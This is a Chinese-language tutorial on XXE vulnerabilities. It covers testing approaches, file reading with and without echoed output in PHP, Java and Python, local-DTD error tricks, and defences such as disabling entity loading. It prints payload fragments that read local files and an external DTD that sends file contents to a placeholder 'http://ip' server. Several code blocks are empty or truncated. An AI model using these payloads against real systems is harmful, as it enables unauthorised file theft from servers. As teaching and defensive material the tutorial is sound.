XXE漏洞浅析
2024-12-01 22:18:13
# 漏洞原理
黑盒测试
- Content-Type或者数据类型是xml时可以进行xml语言payload测试
- 将Content-Type或者数据类型改为xml进行测试
- XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
示例
传输数据示例
白盒测试
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
PHP有回显利用
- 文件读取
- 外部实体引用DTD
文件读取
1 |
|
需要注意,在数据引用部分需要使用&来引用实体以及;结束
外部实体引用DTD
在服务器上新建一个text.dtd文件,内容如下:
1 | <!ENTITY test SYSTEM "file:///c:/windows/win.ini"> |
可以看出该文件其实就是我们上面那个数据包里面定义实体部分,这里的外部实体引用指的就是引用来自外部的dtd文件中定义的实体
发送的数据包:
1 |
|
下面是对数据包的解释:
<!ENTITY % file SYSTEM "http://127.0.0.1:8080/test.dtd">
:定义了一个参数实体file
,其值是通过SYSTEM标识符指定的URLhttp://127.0.0.1:8080/test.dtd
。这意味着XML解析器会尝试从该URL获取DTD文件。%file;
:在文档中引用了参数实体file
,这会导致XML解析器将file
实体的内容(即从http://127.0.0.1:8080/test.dtd
获取的内容)插入到文档中
PHP无回显利用
带外测试
1 | <?xml version="1.0" ?> |
除了DNSLOG外,我们还能在自己的服务器上使用python开一个http服务查看是否有请求
1 | python3 -m http.server 8088 |
1 | <?xml version="1.0" ?> |
无回显读文件
思路大致为在服务器中建立一个DTD文件用于被靶机引用,同时起一个服务用于记录靶机发来的文件内容,在DTD文件中写入一个实体用于发送文件
test.dtd
1 | <!ENTITY % all "<!ENTITY sendfile SYSTEM 'http://ip/get.php?file=%file;'>"> |
get.php
1 |
|
数据包:
1 | <?xml version="1.0"?> |
如果没有文件的话可以直接起一个http服务来测试
需要注意的是,读出的文件不能包含空格和中文等特殊字符,会报错
对于php环境可以使用伪协议读文件,只需要将请求包里面的file改一下,除了filter协议还有很多协议自行查找学习
1 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
JAVA有回显利用
同PHP
JAVA无回显利用
evil.dtd
1 | <!ENTITY % passwd SYSTEM "file:///e:/1.txt"> |
数据包
1 | <?xml version="1.0" encoding="UTF-8"?> |
可以包含空格,但是不能有特殊字符,对于特殊字符,可以使用ftp
Python有无回显利用
同上
本地实体引用
当外部实体被禁用时,可以尝试本地实体引用外部实体达触发报错,把数据带出来
linux
1 | /opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd |
1 | <?xml version="1.0" ?> |
win
1 | C:/Windows/System32/wbem/xml/cim20.dtd |
1 | <?xml version="1.0" ?> |
防御方案
禁用外部实体
PHP:
1 | libxml_disable_entity_loader(true); |
JAVA:
1 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); |
Python:
1 | from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) |
过滤用户数据
过滤<!DOCTYPE
和<!ENTITY
或者SYSTEM
和PUBLIC
等关键词
代码审计
PHP : simplexml_load_string()
Python: etree.fromstring()